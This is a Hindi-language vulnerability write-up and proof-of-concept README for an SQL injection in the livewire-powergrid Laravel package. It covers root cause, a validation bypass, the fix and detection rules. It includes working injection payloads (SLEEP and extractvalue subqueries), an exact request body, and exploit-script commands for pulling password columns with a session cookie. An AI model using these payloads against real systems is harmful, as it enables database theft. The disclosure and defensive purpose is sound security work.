
प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी लेख CVE-2026-65971 के लिए — power-components/livewire-powergrid (< 6.10.4) में sortDirection Livewire प्रॉपर्टी के माध्यम से SQL इंजेक्शन
sortDirection के माध्यम से SQL इंजेक्शनCVE-2026-65971 / GHSA-7fgc-3h6c-698r के लिए प्रूफ-ऑफ-कॉन्सेप्ट और पूर्ण तकनीकी विवरण,
यह power-components/livewire-powergrid में सार्वजनिक Livewire प्रॉपर्टी sortDirection के माध्यम से पहुँचा जा सकने वाला एक SQL इंजेक्शन है।
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| पैकेज | power-components/livewire-powergrid (Composer / Packagist) |
| प्रभावित | >= 6.0.0, < 6.10.4 |
| पैच किया गया | 6.10.4 |
| कमज़ोरी | CWE-89 — SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण |
| गंभीरता | 7.6 उच्च — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| रिपोर्टकर्ता | Caio Fabrício (@BiiTts) |
| प्रकटीकरण | समन्वित, GitHub निजी सुरक्षा परामर्श के माध्यम से |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 सारांश
PowerGrid Laravel + Livewire के लिए एक डेटाटेबल घटक है (~2k स्टार, Laravel एडमिन पैनल में व्यापक रूप से उपयोग किया जाता है)। इसकी सॉर्ट स्थिति दो **सार्वजनिक Livewire गुणों** में रहती है:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
In Livewire में, एक सार्वजनिक प्रॉपर्टी कंपोनेंट के wire प्रारूप का हिस्सा होती है — कोई भी क्लाइंट जो कंपोनेंट तक पहुँच सकता है, उसे POST /livewire/update के माध्यम से सेट कर सकता है। यह डिज़ाइन द्वारा है; सुरक्षा सीमा यह है कि सर्वर उस मान के साथ क्या करता है।
PowerGrid की naturalSort() सुविधा एक raw ORDER BY एक्सप्रेशन बनाती है जिसमें literal प्लेसहोल्डर {sortDirection} होता है, और एक पाइपलाइन उस प्लेसहोल्डर को कच्चे, बिना मान्यता वाले प्रॉपर्टी मान से बदल देती है, इससे पहले कि स्ट्रिंग को orderByRaw() को सौंपा जाए। इसलिए दिशा कीवर्ड SQL के अंदर शब्दशः जा पहुँचता है।
Laravel का अपना orderBy() किसी भी ऐसी चीज़ को अस्वीकार कर देता है जो asc/desc नहीं है, और यही मान्यता सामान्य सॉर्ट पथ को सुरक्षित बनाती है। बग यह है कि उसी क्लॉज़ तक पहुँचने का एक दूसरा, बिना मान्यता वाला पथ मौजूद है — और एक हमलावर मान्यता वाले पथ को पूरी तरह छोड़कर उस तक पहुँच सकता है (देखें बायपास)।
परिणाम: ORDER BY क्लॉज़ में मनमाना SQL, जो ब्लाइंड बूलियन/टाइम-बेस्ड ओरेकल के रूप में उपयोग किया जा सकता है, ताकि डेटाबेस उपयोगकर्ता जितना भी डेटा पढ़ सकता है, उसे पढ़ा जा सके।
कोई भी व्यक्ति जो naturalSort का उपयोग करने वाली PowerGrid टेबल तक पहुँच सकता है, वह डेटाबेस से मनमाना डेटा पढ़ सकता है — अन्य टेबल, पासवर्ड हैश, सत्र टोकन, API कुंजियाँ, क्रॉस-टेनेंट रिकॉर्ड — टाइम-बेस्ड / बूलियन ओरेकल का उपयोग करके।
SELECT कर सकता है, उसका पूर्ण पठन।; UPDATE ... निष्पादित नहीं होता। लेखन प्रभाव केवल उसी तक सीमित है जो एक सबक्वेरी ट्रिगर कर सकती है।SLEEP() और भारी सबक्वेरीज़ देता है — डेटाबेस थ्रेड्स को पिन करने के लिए आसानी से दुरुपयोग योग्य।आवश्यक विशेषाधिकार PR:L है क्योंकि एक डेटाटेबल सामान्यतः एप्लिकेशन प्रमाणीकरण के पीछे होता है। यदि प्रभावित टेबल किसी बिना प्रमाणीकरण वाले पृष्ठ पर प्रस्तुत होती है, तो PR:N के साथ पुनर्गणना करें → 8.2 उच्च।
तीन फ़ाइलें, तीन चरण। सभी संदर्भ भेद्य टैग v6.10.3 के हैं।
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
किसी भी प्रॉपर्टी के पास व्हाइटलिस्ट, वैलिडेशन नियम, या नॉर्मलाइज़िंग सेटर नहीं है। `sortDirection` केवल असाइन या फ्लिप किया जाता है:```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (पंक्ति 103) मौजूद है — सत्यापन के लिए स्वाभाविक स्थान — लेकिन v6.10.3 में यह केवल lazy-loading bookkeeping संभालता है। यह मान का निरीक्षण कभी नहीं करता।
क्योंकि Livewire public properties को सीधे request से hydrate करता है, इस बिंदु पर sortDirection पूरी तरह से attacker-controlled है, एक arbitrary string के रूप में।
naturalSort() एक प्लेसहोल्डर स्थापित करता हैsrc/Providers/Macros.php, पंक्तियाँ 102–116 — naturalSort कॉलम मैक्रो:```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()` एक प्रति-ड्राइवर अभिव्यक्ति में रिज़ॉल्व होता है, जिसे
`getSortSqlByDriver()` द्वारा `src/DataSource/Support/Sql.php` (लाइनें 60–100) में बनाया जाता है। प्रत्येक ड्राइवर वैरिएंट
उसी शाब्दिक प्लेसहोल्डर के साथ समाप्त होता है:```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
यह भेद्यता ड्राइवर-स्वतंत्र है — हर शाखा {sortDirection} को इंटरपोलेट करती है।
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
और निष्पादन, पंक्ति 52:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') हमलावर की स्ट्रिंग लौटाता है, preg_replace_callback
उसे SQL टेक्स्ट में जोड़ता है, और orderByRaw() — जो अनुबंध के अनुसार अपने
तर्क को एस्केप नहीं करता — उसे डेटाबेस तक पहुँचाता है।
ठीक नीचे कड़वी विडंबना देखें: resolveBindings() (पंक्ति 69) मौजूद है, और naturalSort
'bindings' => [] घोषित करता है। सुरक्षित पैरामीटराइज़ेशन का तंत्र ठीक वहीं है। इसे
दिशा (direction) कीवर्ड के लिए उपयोग नहीं किया जा सकता — ORDER BY x ? मान्य SQL नहीं है,
दिशा कभी भी बाउंड पैरामीटर नहीं हो सकती — और यही कारण है कि दिशा कीवर्ड अनिवार्य रूप से
allowlist में होना चाहिए।
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 बायपास — Laravel का validation आपको क्यों नहीं बचाता
यह वह हिस्सा है जो "raw interpolation" को वास्तव में exploitable bug में बदल देता है, और यही
कारण है कि यह समस्या एक परिपक्व, व्यापक रूप से उपयोग किए जाने वाले पैकेज में बनी रही।
PowerGrid एक query को **pipeline** के माध्यम से process करता है। उस pipeline के दो चरण sort
दिशा को छूते हैं:
**`Sorting` pipeline** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() Laravel का सत्यापन करने वाला API है। इसे asc/desc के अलावा कुछ भी दें और यह
त्रुटि फेंकता है:```
InvalidArgumentException: Order direction must be "asc" or "desc".
तो सामान्य पथ पर — उपयोगकर्ता किसी कॉलम हेडर पर क्लिक करता है, `sortField=name`, `sortDirection=<payload>` —
फ्रेमवर्क इंजेक्शन को रोक देता है। एक त्वरित ऑडिट यहीं रुक जाता है और निष्कर्ष निकालता है "Laravel द्वारा शमित"।
**`ColumnRawQueries` पाइपलाइन** — दूसरा चरण, ऊपर दिखाया गया है — **ऐसा कोई सुरक्षा उपाय नहीं है**। देखिए
इसका `handle()` (पंक्तियाँ 21–27): यह कॉलमों पर iterate करता है, और `rawQueries` ले जाने वाले हर कॉलम के लिए
उन्हें *बिना शर्त* लागू करता है। यह कभी `sortField` नहीं देखता। यह कभी `Sorting`
पाइपलाइन के परिणाम को नहीं देखता।
यही विषमता बग है:
| `sortField` | `Sorting` पाइपलाइन | `ColumnRawQueries` पाइपलाइन | परिणाम |
|---|---|---|---|
| `"name"` (भरा हुआ) | चलता है → `orderBy()` **मान्य करता है** → payload पर exception फेंकता है | चलता है → inject करता है | ❌ exception द्वारा अवरुद्ध |
| `""` (खाली) | `filled('')` `false` है → **पूरी तरह छोड़ दिया जाता है** | चलता है → inject करता है | ✅ **इंजेक्शन सफल** |
**`sortField` को खाली स्ट्रिंग पर सेट करने** से मान्यकरण चरण स्वयं को छोड़ देता है, जबकि raw
चरण अभी भी attacker के `{sortDirection}` के साथ `naturalSort` `ORDER BY` उत्सर्जित करता है। Laravel का
मान्यकरण कभी लागू नहीं होता, क्योंकि उसे समाहित करने वाला कोड पथ कभी निष्पादित नहीं होता।
**इसलिए पूरा हमला दो फ़ील्डों का है, एक का नहीं:** `sortDirection` पेलोड ले जाता है,
और `sortField=""` वह चाबी है जो दरवाज़ा खोलती है।
---
## 🎯 सटीक फ़ील्ड्स
सब कुछ Livewire के मानक अपडेट एंडपॉइंट के माध्यम से होता है। कोई विशेष हेडर नहीं, कोई कस्टम
रूट नहीं, कोई एडमिन फ़ंक्शन नहीं।
**एंडपॉइंट:** `POST /livewire/update`
**बॉडी (JSON):**```json
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
परिणामी SQL (MariaDB लैब, rooms टेबल, naturalSort वाले name कॉलम):```sql
select * from rooms
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
पेलोड `ORDER BY` सूची की एक पूर्ण एक्सप्रेशन स्लॉट में बैठता है, इसीलिए एक सादा सबक्वेरी काम करता है और इसीलिए क्लॉज़ मान्य SQL बनी रहती है।
---
## 🔬 यह कैसे मिला — कोड के माध्यम से रास्ता
नीचे दिया गया क्रम तर्क का वास्तविक क्रम है, जिसमें वह चरण भी शामिल है जिसने जाँच को लगभग गलत सकारात्मक (false positive) के रूप में बंद कर दिया था।
**1. पहले हमले की सतह: Livewire की public प्रॉपर्टीज़ हमलावर इनपुट हैं।**
फ्रेमवर्क का अपना मॉडल कहता है कि किसी कंपोनेंट पर हर `public` प्रॉपर्टी `/livewire/update` के माध्यम से क्लाइंट द्वारा लिखने योग्य है। इसलिए किसी भी Livewire पैकेज के लिए ऑडिट प्रश्न "क्या यूज़र इनपुट है?" नहीं है, बल्कि "कौन सी public प्रॉपर्टीज़ किसी खतरनाक सिंक तक पहुँचती हैं?" है। PowerGrid की public प्रॉपर्टीज़ को सूचीबद्ध किया; `$sortField` और `$sortDirection` वे थीं जो स्पष्ट रूप से SQL में संयोजित होने के लिए मौजूद हैं।
**2. उन्हें हर सिंक तक पहुँचाएँ।** पैकेज में raw-SQL APIs — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — के लिए grep किया और देखा कि क्या उनमें से कोई उन प्रॉपर्टीज़ को प्राप्त कर सकता है। `Macros.php` में `naturalSort` का `'method' => 'orderByRaw'` ही वह हिट था।
**3. प्रॉपर्टी और सिंक के बीच संबंध खोजें।** `Sql.php` में raw SQL ने `$this->sortDirection` को संदर्भित नहीं किया; उसमें शाब्दिक स्ट्रिंग `{sortDirection}` थी। इस तरह की टेम्पलेटिंग कहीं न कहीं एक रिज़ॉल्वर का संकेत देती है। ब्रेस पैटर्न के लिए grep करने पर `ColumnRawQueries::resolvePlaceholders()` और उसका `data_get($this->component, $property, '')` मिला — एक सामान्य प्रॉपर्टी रीडर जिसमें कोई एस्केपिंग नहीं है। स्रोत और सिंक अब जुड़ चुके हैं।
**4. वह चरण जिसने इसे लगभग खत्म कर दिया: शमन।** पहला लाइव प्रयास — `sortDirection` को एक पेलोड पर सेट करके फायर करना — रिसाव नहीं बल्कि `InvalidArgumentException: Order direction must be "asc" or "desc".` उत्पन्न किया। Laravel का `orderBy()` इसे पकड़ रहा था। यहाँ आकर्षक निष्कर्ष है *"फ्रेमवर्क शमन करता है, शोषण योग्य नहीं"*, और वह निष्कर्ष गलत होता।
**5. पूछें कि अपवाद कहाँ से आया, न कि केवल यह कि वह हुआ।** ट्रेस `Sorting` पाइपलाइन के `orderBy()` की ओर इशारा करता था — जो चरण 2 में पहचाने गए `orderByRaw()` सिंक से **एक अलग चरण** है। दो चरण, एक ही `ORDER BY` में दो स्वतंत्र लेखन, उनमें से केवल एक सत्यापन कर रहा है। इसने प्रश्न को "क्या मैं Laravel के वैलिडेटर को हरा सकता हूँ?" (नहीं — यह एक सख्त तुलना है) से बदलकर **"क्या मैं सत्यापन चरण को निष्पादित किए बिना raw चरण तक पहुँच सकता हूँ?"** कर दिया।
**6. गार्ड को पढ़ें।** सत्यापन चरण `if (filled($this->component->sortField))` के अंतर्गत चलता है। `filled('')` का मान `false` है। raw चरण में कोई गार्ड ही नहीं है। बायपास इसका सीधा परिणाम था: `sortField=""` भेजें और केवल बिना गार्ड वाला चरण चलता है।
**7. स्वतंत्र तकनीकों के साथ, दो बार, अनुभवजन्य रूप से पुष्टि करें।** एक अकेला सकारात्मक संकेत कोई निष्कर्ष नहीं होता — समय अंतर (time delta) रेट लिमिटर हो सकता है, त्रुटि सामान्य 500 हो सकती है। इसे पुष्टि कहने से पहले एक त्रुटि-आधारित प्रमाण (डेटाबेस द्वारा इंजेक्टेड सबक्वेरी को शब्दशः वापस गूँजना) और एक समय-आधारित बूलियन ओरेकल (वास्तविक डेटा पर TRUE और FALSE में अंतर करना) दोनों आवश्यक थे। देखें [Evidence](#-evidence)।
**सामान्यीकृत निष्कर्ष:** एक फ्रेमवर्क-स्तरीय शमन केवल उस कोड पथ की रक्षा करता है जिस पर वह स्थित है। जब दो पाइपलाइन चरण एक ही SQL क्लॉज़ में लिखते हैं, तो "फ्रेमवर्क इसे सत्यापित करता है" उनमें से एक के बारे में दावा है। हमेशा पूछें कि सत्यापन वास्तव में किस चरण में रहता है, और क्या खतरनाक चरण अकेले चल सकता है।
---
## 🧪 Evidence
लैब: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, एक `RoomTable` PowerGrid कंपोनेंट के साथ जिसका `name` कॉलम `->naturalSort(true)` घोषित करता है और एक `rooms` तालिका जिसमें एक `secret` कॉलम है। पूरा लैब [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) में है।
**त्रुटि-आधारित — इंजेक्टेड सबक्वेरी शब्दशः DB तक पहुँचती है** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
डेटाबेस ने ORDER BY के अंदर हमलावर-आपूर्ति किए गए SELECT को पार्स और निष्पादित किया। यह
इंजेक्शन का असंदिग्ध प्रमाण है — त्रुटि पाठ में इंजेक्ट किया गया SQL निष्पादित रूप में होता है, प्रस्तुत रूप में नहीं।
ब्लाइंड टाइम-आधारित — मनमाना डेटा निष्कर्षण:``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
TRUE/FALSE जोड़ी ही इसे "कुछ धीमा है" से "मैं आपका डेटा पढ़ सकता हूँ" तक उन्नत करती है:
वही अनुरोध संरचना दो स्पष्ट रूप से अलग टाइमिंग लौटाती है, जो किसी ऐसे मान की स्थिति पर निर्भर करती हैं जिसे
हमलावर नहीं देख सकता। यह एक कार्यशील oracle है, और `poc/exploit_powergrid_sqli.py`
इसे अक्षर-दर-अक्षर चलाता है।
> `SLEEP(3)` ~3s के बजाय ~9s देता है क्योंकि sort स्लीपिंग एक्सप्रेशन को कई
> पंक्तियों पर लागू करता है — एक मज़बूत, कमज़ोर नहीं, संकेत।
कच्चे नोट्स: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt)।
---
## ⚙️ अवधारणा का प्रमाण
बिना किसी निर्भरता के, केवल Python 3 मानक लाइब्रेरी।```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
यह करेगा:
GET करें और PowerGrid घटक का CSRF टोकन तथा wire:snapshot स्क्रैप करें;sortDirection=asc अनुरोध का समय नापें;sortField="" / sortDirection="asc, (SELECT SLEEP(3))" भेजें और समय की तुलना करें;उपयोगी फ़्लैग:```bash
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
पैच किए गए `6.10.4` लक्ष्य के विरुद्ध स्क्रिप्ट कोई समय-अंतर रिपोर्ट नहीं करती और सफाई से बाहर निकल जाती है — अनुमत-सूची हर पेलोड को `asc` पर समेट देती है।
---
## ✅ फिक्स विश्लेषण (`v6.10.4`)
अनुरक्षकों ने **चार कॉल साइट्स पर बहुस्तरीय सुरक्षा** शिप की है — इस श्रेणी के बग के लिए सही स्वरूप। प्रिमिटिव:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
एक सख्त अनुमतिसूची (सुरक्षित डिफ़ॉल्ट के साथ) — न ब्लैकलिस्ट, न एस्केपिंग, न रेगेक्स। किसी ऐसे कीवर्ड के लिए जो बाउंड पैरामीटर नहीं हो सकता, यही एकमात्र सही नियंत्रण है।
इन पर लागू होता है:
ColumnRawQueries::resolvePlaceholders() — सिंक। {sortDirection} अब विशेष-मामला है
और केवल sanitizeSortDirection() के माध्यम से हल किया जाता है, कभी भी सामान्य data_get() के माध्यम से नहीं।Concerns\Sorting::updatedSortDirection() — लाइववायर हुक। लिखने पर सैनिटाइज़ करता है, इसलिए
प्रॉपर्टी स्वयं अब कोई पेलोड नहीं रख सकती।Concerns\Sorting::sortBy() — दिशा तर्क को सैनिटाइज़ करता है।Pipelines\Sorting::applySingleSort() / applyMultipleSort() — उपयोगकर्ता द्वारा आपूर्ति किए गए
sortUsing कॉलबैक को कवर करता है, जो अपना स्वयं का orderByRaw बना सकते हैं। इसने मूल रूप से रिपोर्ट किए गए
के अतिरिक्त एक दूसरा, संबंधित पथ बंद कर दिया।प्रतिगमन परीक्षण जोड़े गए: tests/Feature/SortDirectionInjectionTest.php और एक
DishesNaturalSortTable फिक्स्चर।
रिलीज़ किए गए टैग पर पैच सत्यापन किया गया (किसी वादे पर नहीं): v6.10.4 को क्लोन किया,
हर रॉ दिशा सिंक को grep किया, सूट चलाया (30/30 पास), और sanitizeSortDirection() को 17
पेलोड के साथ फ़ज़ किया — एडवाइज़री का टाइम-आधारित पेलोड, नल बाइट, SQL कमेंट, हेक्स लिटरल, मिक्स्ड केस,
व्हाइटस्पेस पैडिंग, यूनिकोड। सभी asc या desc में परिवर्तित हो जाते हैं। शेष सिंक (WithExport/ExportableJob के माध्यम से निर्यात, Scout) मान्य orderBy() से गुजरते हैं, न कि orderByRaw() से,
और इंजेक्टेबल नहीं हैं।
निर्णय: पैच किया गया।
डिफ़ का सुरक्षा-संबंधी भाग patch/ में है।
composer require power-components/livewire-powergrid:^6.10.4 composer audit
**अपग्रेड करें — इसे टालने की कोशिश न करें।** यदि आप वास्तव में आज अपग्रेड नहीं कर सकते, तो अस्थायी
शमन उपाय घटक पर ही सैनिटाइज़ करना है:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
यह एक अस्थायी उपाय है। अपग्रेड करें।
पूर्व-शर्त यह है कि कम से कम एक कॉलम naturalSort घोषित करता है:```bash
grep -rn "naturalSort" app/ resources/
No `naturalSort` कॉलम न होने का मतलब है कि रॉ `ORDER BY` कभी पंजीकृत नहीं होता, और प्राथमिक पथ पहुंच योग्य नहीं है। ध्यान दें कि `v6.10.4` ने `sortUsing` कॉलबैक पथ को भी मजबूत किया है — यदि आपके कस्टम सॉर्ट कॉलबैक दिशा के आधार पर रॉ SQL बनाते हैं, तो आप उस पथ के माध्यम से भी उजागर होते हैं, चाहे `naturalSort` हो या नहीं।
### शोषण का पता लगाना
यह हमला एक सामान्य दिखने वाला Livewire अनुरोध है; अलर्ट करने के लिए कोई असामान्य एंडपॉइंट या विधि नहीं है। `sortDirection` के **मान** को देखें — वैध ट्रैफ़िक केवल `asc` या `desc` ही भेजता है।
बाकी कुछ भी, परिभाषा के अनुसार, असामान्य है। व्यावहारिक संकेत:
- `POST /livewire/update` जहां JSON बॉडी में `"sortDirection"` शामिल है और उसका मान बिल्कुल `asc`/`desc` (केस-इनसेंसिटिव) नहीं है — उच्च सटीकता, लगभग शून्य गलत-सकारात्मक;
- वही अनुरोध जिसमें `"sortField":""` (खाली) के साथ एक गैर-तुच्छ `sortDirection` हो — सटीक बायपास हस्ताक्षर;
- उस मान में SQL कीवर्ड: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- एप्लिकेशन त्रुटि लॉग जिनमें `SQLSTATE[HY000] 1105` या `SQLSTATE[42000]` हो और `order by` का संदर्भ हो;
- समान संरचना वाले POSTs के बर्स्ट, जिनकी प्रतिक्रिया समय द्विमोडल (तेज़/धीमी) रूप से क्लस्टर होते हैं — एक ब्लाइंड ऑरेकल जिसे चरण-दर-चरण परखा जा रहा है।
दो Sigma नियम [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) में प्रदान किए गए हैं — एक अनुरोध बॉडी पर, और एक डेटाबेस त्रुटि हस्ताक्षर पर, उस स्थिति के लिए जब बॉडी लॉगिंग उपलब्ध न हो। पहुंच योग्य PowerGrid घटकों (पूर्वापेक्षा सतह) को चिह्नित करने वाला एक Nuclei टेम्पलेट [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml) में है; किसी भी हिट की पुष्टि `poc/exploit_powergrid_sqli.py --check-only` से करें।
---
## 📚 संदर्भ
- GitHub सुरक्षा एडवाइज़री — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- फिक्स रिलीज़ — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- फिक्स डिफ़ — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [SQL कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Properties क्लाइंट-राइटेबल हैं](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ कानूनी
यह समन्वित प्रकटीकरण, एक जारी पैच और एक सार्वजनिक विक्रेता एडवाइज़री के बाद प्रकाशित किया गया है। PoC [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) में स्थानीय प्रयोगशाला को लक्षित करता है और यह उन रक्षकों के लिए है जो अपने स्वयं के जोखिम को मान्य कर रहे हैं, साथ ही उन शोधकर्ताओं के लिए जो इस बग श्रेणी का अध्ययन कर रहे हैं। इसे उन प्रणालियों के विरुद्ध चलाना जिनके परीक्षण के लिए आप अधिकृत नहीं हैं, अवैध है। आप इसके साथ जो करते हैं उसके लिए आप जिम्मेदार हैं।
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
| फ़ील्ड | भूमिका | मान |
|---|
components[0].updates.sortDirection | इंजेक्शन बिंदु | SQL पेलोड, एक वैध दिशा से उपसर्गित ताकि क्लॉज़ वाक्य-रचना की दृष्टि से पूर्ण बना रहे |
components[0].updates.sortField | बायपास कुंजी | "" — खाली, मान्य करने वाली Sorting पाइपलाइन को छोड़ने के लिए |
components[0].snapshot | प्लंबिंग | Livewire कंपोनेंट स्थिति; पेज HTML में wire:snapshot="..." से स्क्रैप किया गया (HTML-अनएस्केप करें) |
_token / X-CSRF-TOKEN | प्लंबिंग | पेज में data-csrf="..." या "csrf":"..." ब्लॉब से स्क्रैप किया गया |